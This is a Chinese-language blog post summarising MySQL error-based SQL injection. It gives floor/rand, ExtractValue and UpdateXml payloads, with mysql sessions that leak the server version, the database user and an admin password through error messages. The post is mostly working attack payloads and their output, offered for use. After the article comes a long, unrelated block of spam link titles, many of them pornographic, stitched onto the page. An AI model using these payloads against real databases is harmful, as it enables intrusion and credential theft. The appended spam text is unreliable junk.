< 返回

mysql 注入報錯利用方法總結

2024-07-05 11:18 作者:18723323311 閱讀量:4226

1、通過floor報錯

可以通過如下一些利用代碼

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

舉例如下:

首先進行正常查詢:

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id輸入存在注入的話,可以通過如下語句進行報錯。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了Mysql的版本,如果需要查詢其他數據,可以通過修改version()所在位置語句進行查詢。

例如我們需要查詢管理員用戶名和密碼:

Method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

2、ExtractValue

測試語句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

實際測試過程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’

3、UpdateXml

測試語句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

實際測試過程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

主站蜘蛛池模板: 大战bbw丰满肥女tub| 欧美肥妇毛多水多bbxx水蜜桃| 精品国产品欧美日产在线| 日本片免费观看一区二区| 国产真实乱对白精彩久久| 亚洲午夜久久久影院伊人| 337p日本欧洲亚洲大胆精品555588| 色八a级在线观看| 无码av中文一区二区三区桃花岛 | 果冻传媒电影在线| 国产精品视频视频久久| 亚洲日本va午夜中文字幕一区 | 丰满人体bbw| 野花官网高清在线观看视频5| 波少野结衣色在线| 在线一区二区三区| 亚洲日本在线电影| 天天成人综合网| 最新亚洲人成无码网www电影 | 日本边添边摸边做边爱喷水| 国产单亲乱l仑视频在线观看| 亚洲欧美在线观看视频| 67pao强力打造高清免费| 欧美一级久久久久久久大| 国产成人精品三级在线| 久久久久久久亚洲AV无码| 精品日韩在线视频| 日韩在线观看免费| 国产亚洲成归v人片在线观看 | 污视频网站在线观看| 国内剧果冻传媒在线观看网站| 免费一级毛片在线视频观看| 99久久精品免费看国产一区二区三区| 精品欧美亚洲韩国日本久久| 小受被强攻按做到哭男男| 亚洲综合色视频在线观看| 香蕉一区二区三区观| 日韩中文字幕视频在线观看| 啪啪免费小视频| 99re热这里只有精品| 最新浮力影院地址第一页|